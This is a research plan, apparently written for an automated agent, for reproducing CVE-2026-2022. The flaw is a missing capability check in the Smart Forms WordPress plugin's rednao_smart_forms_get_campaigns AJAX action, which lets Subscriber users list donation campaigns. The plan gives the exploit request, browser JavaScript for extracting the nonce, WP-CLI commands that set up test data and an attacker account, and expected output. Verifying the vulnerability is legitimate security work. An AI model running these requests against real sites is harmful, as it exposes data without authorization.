Research Plan: CVE-2026-2022 Smart Forms Campaign Data Exposure

1. Vulnerability Summary

The Smart Forms plugin for WordPress (up to version 2.6.99) contains a missing authorization vulnerability in its AJAX handling logic. Specifically, the action rednao_smart_forms_get_campaigns fails to verify the capabilities of the requesting user. While the action is registered via wp_ajax_, which requires an authenticated session, it does not restrict access to administrative users. Consequently, any authenticated user, including those with the Subscriber role, can trigger this action to retrieve a list of donation campaigns, exposing internal campaign IDs and names.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: rednao_smart_forms_get_campaigns
• HTTP Method: POST
• Authentication: Required (Subscriber or higher)
• Parameters:
  • action: rednao_smart_forms_get_campaigns
  • security or nonce (inferred): Potential nonce check (see Section 4).
• Preconditions: At least one campaign must exist in the system for data to be returned.

3. Code Flow

1. Registration: The plugin registers the AJAX handler (likely in an initialization class or a dedicated AJAX controller).
   • add_action( 'wp_ajax_rednao_smart_forms_get_campaigns', [ $instance, 'rednao_smart_forms_get_campaigns' ] );
2. Entry Point: A POST request is sent to admin-ajax.php with action=rednao_smart_forms_get_campaigns.
3. Missing Check: The handler function (e.g., rednao_smart_forms_get_campaigns()) is executed. It typically performs a database query (likely against a custom table like wp_rednao_smart_forms_campaigns or via a specific class method).
4. Vulnerability: The function lacks a call to current_user_can( 'manage_options' ) or a similar capability check before fetching and echoing the campaign data.
5. Data Sink: The function returns a JSON array of objects containing campaign details to the requester.

4. Nonce Acquisition Strategy

The plugin likely uses a nonce to protect its AJAX actions. Based on standard RedNao plugin patterns:

1. Identify Script Localization: Search for wp_localize_script in the plugin source to find the object name. It is likely named something like rn_smart_forms_data or rednao_smart_forms_vars.
2. Shortcode Method: If the nonce is only loaded on specific pages, find a shortcode (e.g., [smart-form]) and create a page with it.
3. Admin Dashboard Method: Since this is a Subscriber+ vulnerability, the nonce may be available in the standard WordPress admin dashboard for all logged-in users if the plugin enqueues its scripts for all authenticated users.

Execution Steps for Agent:

• Navigate to the WordPress dashboard as a Subscriber.
• Run the following in browser_eval:

  // Look for common RedNao nonce locations
  window.rn_smart_forms_data?.nonce || 
  window.rednao_smart_forms_vars?.nonce || 
  document.querySelector('input[name="security"]')?.value
  

• If not found, search the plugin source for wp_create_nonce('rednao_smart_forms_get_campaigns') or similar strings to identify the exact nonce action name.

5. Exploitation Strategy

1. Login: Authenticate as a Subscriber-level user.
2. Extract Nonce: Use the browser_eval tool to extract the required nonce from the admin dashboard or a page where the plugin is active.
3. Perform Request: Use http_request to call the vulnerable AJAX action.

Request Details:

• URL: http://<target>/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body: action=rednao_smart_forms_get_campaigns&security=<NONCE_VALUE>
  (Note: The parameter name for the nonce might be security, nonce, or _wpnonce. Verify this in the source code.)

6. Test Data Setup

To ensure a successful proof of concept, campaign data must exist:

1. Create Campaign: Use WP-CLI or the plugin UI (as Admin) to create at least two donation campaigns.
   • Example (Inferred SQL if UI is complex):
     wp db query "INSERT INTO wp_rednao_smart_forms_campaigns (name, description) VALUES ('Spring Fundraiser 2024', 'Annual spring drive'), ('Emergency Relief', 'Disaster support');"
2. Create Subscriber:
   • wp user create attacker attacker@example.com --role=subscriber --user_pass=password123

7. Expected Results

• Success: The server responds with HTTP 200 OK and a JSON body containing an array of campaign objects.
  • Example Response: [{"id":"1","name":"Spring Fundraiser 2024"},{"id":"2","name":"Emergency Relief"}]
• Failure: The server responds with HTTP 403 Forbidden or a -1 / 0 (standard WordPress AJAX error) if the nonce is wrong or if a capability check is actually present.

8. Verification Steps

1. Manual Check: Compare the JSON output from the exploit against the list of campaigns visible in the Admin UI.
2. Database Check: Verify the IDs and names match the database:
   • wp db query "SELECT id, name FROM wp_rednao_smart_forms_campaigns;"

9. Alternative Approaches

• Missing Nonce Check: If wp_verify_nonce is also missing or uses the default action -1, the exploit may work without a valid specific nonce or even with an invalid one.
• REST API: Check if the plugin registers a similar endpoint under wp-json/. Vulnerabilities in RedNao plugins often span across both AJAX and REST interfaces. Search for register_rest_route.